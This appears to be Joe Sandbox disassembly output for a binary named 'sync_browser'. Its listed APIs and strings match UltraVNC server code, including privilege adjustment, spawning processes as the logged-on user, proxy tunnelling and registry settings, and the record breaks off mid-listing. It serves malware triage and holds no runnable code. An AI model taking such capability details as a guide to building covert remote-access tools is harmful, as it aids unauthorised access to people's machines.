Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: sprintf$NameUser_errno_invalid_parameter_noinfo
String ID: ComputerName : $IP : $ Build:%d$ Service Pack: 6a$ v%d.$%02d$, (Intel Processor)$Current user :
API String ID: 171970310-3029765189
Opcode ID: 1cb7e10b7cb412b861b46b02bdf6de15515886615ce791076c371ea6f230fb72
Instruction ID: d6c513aa36563b652ad9c6662c3539ed6e10c77dbf2d37a9b2277c7a84d63854
Opcode Fuzzy Hash: 1cb7e10b7cb412b861b46b02bdf6de15515886615ce791076c371ea6f230fb72
Instruction Fuzzy Hash: A5B19721A0868A85E761EB3594203B977A0FB04BB0F804337E67EC79D5DF38E555C321

Function 00007FF7E50826B0 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 78librarysleeploaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7E50826E0
LoadLibraryA.KERNEL32 ref: 00007FF7E50826F0

Part of subcall function 00007FF7E5082520: LoadLibraryA.KERNEL32 ref: 00007FF7E5082551
Part of subcall function 00007FF7E5082520: GetProcAddress.KERNEL32 ref: 00007FF7E508256E
Part of subcall function 00007FF7E5082520: LoadLibraryA.KERNEL32 ref: 00007FF7E508258B
Part of subcall function 00007FF7E5082520: GetProcAddress.KERNEL32 ref: 00007FF7E50825A8
Part of subcall function 00007FF7E5082520: FreeLibrary.KERNEL32 ref: 00007FF7E5082658
Part of subcall function 00007FF7E5082520: FreeLibrary.KERNEL32 ref: 00007FF7E5082667

GetProcAddress.KERNEL32 ref: 00007FF7E5082719
GetProcAddress.KERNEL32 ref: 00007FF7E5082731
Sleep.KERNEL32 ref: 00007FF7E5082771
GetLastError.KERNEL32 ref: 00007FF7E508277D
sprintf.LIBCMT ref: 00007FF7E5082792
OutputDebugStringA.KERNEL32 ref: 00007FF7E508279C
Sleep.KERNEL32 ref: 00007FF7E50827A7
FreeLibrary.KERNEL32 ref: 00007FF7E50827B5
FreeLibrary.KERNEL32 ref: 00007FF7E50827C3

Strings

LockWorkstation failed with error 0x%0X, xrefs: 00007FF7E5082783
user32.dll, xrefs: 00007FF7E50826E6
LockWorkStation, xrefs: 00007FF7E5082727
winsta.dll, xrefs: 00007FF7E50826D9
WinStationConnectW, xrefs: 00007FF7E508270F

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc$Sleep$DebugErrorLastOutputStringsprintf
String ID: LockWorkStation$LockWorkstation failed with error 0x%0X$WinStationConnectW$user32.dll$winsta.dll
API String ID: 2931780912-670137772
Opcode ID: 4c941a38a0d861067d34bbbc45676cf3eae1c23976c0e3f2b532e901046bab96
Instruction ID: bbaf930df641cafa58e8df7c97c0b3ae39cff7ae889df201635ffd18f5b557ce
Opcode Fuzzy Hash: 4c941a38a0d861067d34bbbc45676cf3eae1c23976c0e3f2b532e901046bab96
Instruction Fuzzy Hash: 12314C25A18A4B81EA21FF26B5747B9A3A1FF44F91FC41433D90E86658EF3CE4058762

Function 00007FF7E507D560 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 128processthreadCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF7E507D5A2
FindWindowA.USER32 ref: 00007FF7E507D675
GetWindowThreadProcessId.USER32 ref: 00007FF7E507D690
OpenProcess.KERNEL32 ref: 00007FF7E507D6AB
OpenProcessToken.ADVAPI32 ref: 00007FF7E507D6CA
CreateProcessAsUserA.ADVAPI32 ref: 00007FF7E507D70C
GetLastError.KERNEL32 ref: 00007FF7E507D712
CloseHandle.KERNEL32 ref: 00007FF7E507D71D
CloseHandle.KERNEL32 ref: 00007FF7E507D72D
CloseHandle.KERNEL32 ref: 00007FF7E507D73D
CloseHandle.KERNEL32 ref: 00007FF7E507D74D

Strings

Shell_TrayWnd, xrefs: 00007FF7E507D655
-settingshelper, xrefs: 00007FF7E507D5CF
Winsta0\Default, xrefs: 00007FF7E507D64E

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess$OpenWindow$CreateErrorFileFindLastModuleNameThreadTokenUser
String ID: -settingshelper$Shell_TrayWnd$Winsta0\Default
API String ID: 421869683-3362258117
Opcode ID: 3590b074e5f29d85f71debabe8de06fed850c3c5fd9db8f8af18c013e671a393
Instruction ID: 99871ae38a3768fb056c536664c2d46ff533ad852bf7ac583b3e6e1fbc70c8fe
Opcode Fuzzy Hash: 3590b074e5f29d85f71debabe8de06fed850c3c5fd9db8f8af18c013e671a393
Instruction Fuzzy Hash: 9C519532A08B4985E714EF25B8603B9B7A4FB44B90F844236EA9D83A98DF3CE515C751

Function 00007FF7E5086930 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 180windowCOMMON

Download Yara Rule

APIs

free.LIBCMT ref: 00007FF7E5086987

Part of subcall function 00007FF7E5128BF4: RtlFreeHeap.NTDLL(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C0A
Part of subcall function 00007FF7E5128BF4: _errno.LIBCMT ref: 00007FF7E5128C14
Part of subcall function 00007FF7E5128BF4: GetLastError.KERNEL32(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C1C

Part of subcall function 00007FF7E50870B0: EnumDisplaySettingsA.USER32 ref: 00007FF7E50870F4
Part of subcall function 00007FF7E50870B0: LoadLibraryA.KERNEL32 ref: 00007FF7E5087109
Part of subcall function 00007FF7E50870B0: GetProcAddress.KERNEL32 ref: 00007FF7E508712D
Part of subcall function 00007FF7E50870B0: FreeLibrary.KERNEL32 ref: 00007FF7E50871F2

malloc.LIBCMT ref: 00007FF7E5086996
GetDC.USER32 ref: 00007FF7E5086A00
GetSystemPaletteEntries.GDI32 ref: 00007FF7E5086A2A
GetLastError.KERNEL32 ref: 00007FF7E5086A33
DeleteDC.GDI32 ref: 00007FF7E5086A64
ReleaseDC.USER32 ref: 00007FF7E5086A71

Strings

l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : got %u palette entries, xrefs: 00007FF7E5086A39
l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : Using video Palette, xrefs: 00007FF7E50869F2
l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : failed to allocate translation table, xrefs: 00007FF7E50869A4
l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : rfbInitColourMapSingleTable called, xrefs: 00007FF7E508695B
l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : Using mirror video Palette, xrefs: 00007FF7E5086A0B
l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : rfbInitColourMapSingleTable done, xrefs: 00007FF7E5086BB2

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ErrorFreeLastLibrary$AddressDeleteDisplayEntriesEnumHeapLoadPaletteProcReleaseSettingsSystem_errnofreemalloc
String ID: l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : Using mirror video Palette$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : Using video Palette$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : failed to allocate translation table$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : got %u palette entries$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : rfbInitColourMapSingleTable called$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : rfbInitColourMapSingleTable done
API String ID: 181403729-1081969236
Opcode ID: 356ec768b8f7f08761f25f9f6f5bd7aee8d03a8140df0f5e6c97a1197c639f56
Instruction ID: a453874463346758b0a823c77c203f0a89409f27120919b59cb105a413a578ce
Opcode Fuzzy Hash: 356ec768b8f7f08761f25f9f6f5bd7aee8d03a8140df0f5e6c97a1197c639f56
Instruction Fuzzy Hash: E4613862A185D981F724AB25F4357B9B390EB50B44FC4503BF98ECB695EE3CD109C722

Function 00007FF7E5092650 Relevance: 18.4, APIs: 9, Strings: 3, Instructions: 431COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E5127BF0: GetSystemTimeAsFileTime.KERNEL32(?,?,?,00007FF7E50C3771), ref: 00007FF7E5127BFE

Part of subcall function 00007FF7E5127BAC: _getptd.LIBCMT ref: 00007FF7E5127BB4

rand.LIBCMT ref: 00007FF7E50926B0

Part of subcall function 00007FF7E5127BC4: _getptd.LIBCMT ref: 00007FF7E5127BC8

rand.LIBCMT ref: 00007FF7E50926B8
rand.LIBCMT ref: 00007FF7E50926C4

Part of subcall function 00007FF7E5075490: rand.LIBCMT ref: 00007FF7E50754D2
Part of subcall function 00007FF7E5075490: rand.LIBCMT ref: 00007FF7E50754DA
Part of subcall function 00007FF7E5075490: rand.LIBCMT ref: 00007FF7E50754E6

rand.LIBCMT ref: 00007FF7E50926F0
rand.LIBCMT ref: 00007FF7E50926F8
rand.LIBCMT ref: 00007FF7E5092704
rand.LIBCMT ref: 00007FF7E50927DB
rand.LIBCMT ref: 00007FF7E50927E3
rand.LIBCMT ref: 00007FF7E50927EF

Strings

CheckUserGroupPasswordUni result=%i, xrefs: 00007FF7E5092C3C
interKey larger than maxNum, xrefs: 00007FF7E50929CA
After DH: g=%I64u, m=%I64u, i=%I64u, key=%I64u, xrefs: 00007FF7E5092BD3

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: rand$Time_getptd$FileSystem
String ID: After DH: g=%I64u, m=%I64u, i=%I64u, key=%I64u$CheckUserGroupPasswordUni result=%i$interKey larger than maxNum
API String ID: 3485648590-3000200491
Opcode ID: 11d72f19a25ca50024aca8e18d0a2dbf4c1a378a4239df8fbec8ef93dcbcf261
Instruction ID: bd094e726b3e559d368c4f9001416e2551cbac68dbbb6e6469d99949cd93dae3
Opcode Fuzzy Hash: 11d72f19a25ca50024aca8e18d0a2dbf4c1a378a4239df8fbec8ef93dcbcf261
Instruction Fuzzy Hash: 53F11952B193D94AEB10D7B964202FD6FA09B82B85F944077EE9D9BB8ADD3CD100C721

Function 00007FF7E5073A90 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF7E5073AB6
LoadImageA.USER32 ref: 00007FF7E5073B68
GetModuleHandleA.KERNEL32 ref: 00007FF7E5073B7C
LoadImageA.USER32 ref: 00007FF7E5073B9C
CreateDCA.GDI32 ref: 00007FF7E5073BC5
GetDIBits.GDI32 ref: 00007FF7E5073BF1
DeleteDC.GDI32 ref: 00007FF7E5073C0E

Strings

\background.bmp, xrefs: 00007FF7E5073B41
(, xrefs: 00007FF7E5073BB8
DISPLAY, xrefs: 00007FF7E5073BA9

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ImageLoadModule$BitsCreateDeleteFileHandleName
String ID: ($DISPLAY$\background.bmp
API String ID: 3125945695-1422902838
Opcode ID: 5c990643eb74fd538b6b4e7c95b6f894b66b7c2a1e2628e0d5a9c6046c92dc90
Instruction ID: cad42ad438bbf11646b9be4f9fbaa51422f83ae4078c8567af31acd74653148d
Opcode Fuzzy Hash: 5c990643eb74fd538b6b4e7c95b6f894b66b7c2a1e2628e0d5a9c6046c92dc90
Instruction Fuzzy Hash: A7416A35708B8586E760AB24F46576BB3A0FF89B94FC01236DA9D83B98DF3CD0158B11

Function 00007FF7E507C810 Relevance: 16.1, APIs: 4, Strings: 5, Instructions: 366networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E507C520: send.WS2_32 ref: 00007FF7E507C56C

recv.WS2_32 ref: 00007FF7E507C91C
recv.WS2_32 ref: 00007FF7E507C9EC

Strings

WWW-Authenticate:, xrefs: 00007FF7E507C837
Proxy-Authenticate:, xrefs: 00007FF7E507C86F
CONNECT %s:%d HTTP/1.0, xrefs: 00007FF7E507C895
basic, xrefs: 00007FF7E507CAF2
Location: , xrefs: 00007FF7E507CB83

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: recv$send
String ID: CONNECT %s:%d HTTP/1.0$Location: $Proxy-Authenticate:$WWW-Authenticate:$basic
API String ID: 1963230611-4083095726
Opcode ID: d657ed37a6cae802db04decd52c8b9e56745bb5c9d23933e6423cb635756a354
Instruction ID: 069e16d1b3e8385e8cc743713fc058128ff7f399c3d2f8874560a62d9633cfa5
Opcode Fuzzy Hash: d657ed37a6cae802db04decd52c8b9e56745bb5c9d23933e6423cb635756a354
Instruction Fuzzy Hash: FBF1B421A0CB8A91E790B735A564379A791FB85F94FC44133EB4D83A99DE3CE542C322

Function 00007FF7E50870B0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 82libraryloaderCOMMON

Download Yara Rule

APIs

EnumDisplaySettingsA.USER32 ref: 00007FF7E50870F4
LoadLibraryA.KERNEL32 ref: 00007FF7E5087109
GetProcAddress.KERNEL32 ref: 00007FF7E508712D
CreateDCA.GDI32 ref: 00007FF7E50871D6
FreeLibrary.KERNEL32 ref: 00007FF7E50871F2

Strings

USER32, xrefs: 00007FF7E50870FA
mv video hook driver2, xrefs: 00007FF7E5087198
EnumDisplayDevicesA, xrefs: 00007FF7E508711B
DISPLAY, xrefs: 00007FF7E50871C9

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Library$AddressCreateDisplayEnumFreeLoadProcSettings
String ID: DISPLAY$EnumDisplayDevicesA$USER32$mv video hook driver2
API String ID: 3702840025-1174184736
Opcode ID: d748da3611d51f35711ae867021bc229038fb3513b14e4069d6ed17d8080ad48
Instruction ID: 9e210c50128921aa1c94c48f159be8b43384a9e9e4f6eaca61b67faf586f22b0
Opcode Fuzzy Hash: d748da3611d51f35711ae867021bc229038fb3513b14e4069d6ed17d8080ad48
Instruction Fuzzy Hash: 4B31B8217096C695FB70EB25B865BAAB390FB89B44FC41136D98E87B48DF3CD105CB11

Function 00007FF7E50C9A40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 68registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E507D390: GetModuleFileNameA.KERNEL32 ref: 00007FF7E507D3BB

GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C9A92
RegOpenKeyExA.ADVAPI32 ref: 00007FF7E50C9AC0
RegQueryValueExA.ADVAPI32 ref: 00007FF7E50C9B0C
RegCloseKey.ADVAPI32 ref: 00007FF7E50C9B3A
GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C9B75

Strings

NewMSLogon, xrefs: 00007FF7E50C9AFD, 00007FF7E50C9B67
admin, xrefs: 00007FF7E50C9A88, 00007FF7E50C9B6E
UseRegistry, xrefs: 00007FF7E50C9A81
Software\ORL\WinVNC3, xrefs: 00007FF7E50C9AAD

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: PrivateProfile$CloseFileModuleNameOpenQueryValue
String ID: NewMSLogon$Software\ORL\WinVNC3$UseRegistry$admin
API String ID: 771632046-3493897170
Opcode ID: 7e17a9a545862003f56dca8ab1949a50e46989200b9f0bc494998167346eab91
Instruction ID: 73199f1f3a442eb15e06ae4160b570d9b2b0ef60c0f6c76382df09320cca94dd
Opcode Fuzzy Hash: 7e17a9a545862003f56dca8ab1949a50e46989200b9f0bc494998167346eab91
Instruction Fuzzy Hash: D9316535A1CA4AC2EB60EB24F4653AAB360FB89B54FC01137E64D82658DF3DE105CB51

Function 00007FF7E50818A0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF7E50818B5
OpenProcess.KERNEL32 ref: 00007FF7E50818C5
OpenProcessToken.ADVAPI32 ref: 00007FF7E50818F5
LookupPrivilegeValueA.ADVAPI32 ref: 00007FF7E508190D
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF7E508194D
GetLastError.KERNEL32 ref: 00007FF7E508195B
CloseHandle.KERNEL32 ref: 00007FF7E508196E
CloseHandle.KERNEL32 ref: 00007FF7E5081977

Strings

SeTcbPrivilege, xrefs: 00007FF7E5081904

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Process$CloseHandleOpenToken$AdjustCurrentErrorLastLookupPrivilegePrivilegesValue
String ID: SeTcbPrivilege
API String ID: 2450735924-1502394177
Opcode ID: 049707e4f3f4a22454709a7697195c91078346b3f6d7fa6eb6f95c633ec379e6
Instruction ID: 882cbb8b3c2ed2b48f34ab6c6145b4e30f570bbb64050ef8714576b0cb49223b
Opcode Fuzzy Hash: 049707e4f3f4a22454709a7697195c91078346b3f6d7fa6eb6f95c633ec379e6
Instruction Fuzzy Hash: 07213561B18B8A82FB60AB61F42576AA3A0FF85F45F841036E94D87758EF7CD444CB11

Function 00007FF7E512DF80 Relevance: 15.3, APIs: 10, Instructions: 292timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 00007FF7E512DFAB

Part of subcall function 00007FF7E51377D0: _amsg_exit.LIBCMT ref: 00007FF7E51377FA

_get_daylight.LIBCMT ref: 00007FF7E512DFC1

Part of subcall function 00007FF7E513CEDC: _errno.LIBCMT ref: 00007FF7E513CEE5
Part of subcall function 00007FF7E513CEDC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E513CEF0

_get_daylight.LIBCMT ref: 00007FF7E512DFD6

Part of subcall function 00007FF7E513CE7C: _errno.LIBCMT ref: 00007FF7E513CE85
Part of subcall function 00007FF7E513CE7C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E513CE90

_get_daylight.LIBCMT ref: 00007FF7E512DFEB

Part of subcall function 00007FF7E513CEAC: _errno.LIBCMT ref: 00007FF7E513CEB5
